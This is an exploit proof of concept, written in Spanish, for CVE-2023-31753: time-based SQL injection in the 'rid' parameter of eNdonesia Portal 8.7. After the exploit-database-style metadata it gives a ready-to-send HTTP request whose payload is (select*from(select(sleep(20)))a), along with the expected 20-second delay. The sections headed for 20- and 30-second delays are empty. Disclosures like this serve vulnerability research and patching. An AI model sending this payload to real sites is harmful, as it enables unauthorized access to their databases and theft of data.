CVE-2023-31753

Prueba de Concepto para CVE-2023-31753

Descripción: Se descubrió una vulnerabilidad de inyección SQL en eNdonesia Portal v8.7 que se explota al insertar un payload manipulado en el parámetro 'rid' en diskusi.php.

• Título del Exploit: eNdonesia Portal 8.7 - Vulnerabilidad de inyección SQL en diskusi.php (parámetro rid)
• Fecha: 19 de mayo de 2023
• Autor del Exploit: Kunal Khubchandani
• Página del proveedor: http://www.endonesia.org/
• Enlace del software: https://sourceforge.net/projects/endonesia/
• Versión: 8.7
• Categoría: Webapps
• Probado en: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. Para explotar esta vulnerabilidad, se debe enviar un payload de SQLi sleep como valor del parámetro GET 'rid' en la siguiente solicitud HTTP.

2. Solicitud vulnerable:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. Al enviar la solicitud HTTP anterior a través de Burp Suite, el usuario recibirá una respuesta con un retraso de 20 segundos.

** Retraso de 20 segundos:

** Retraso de 30 segundos: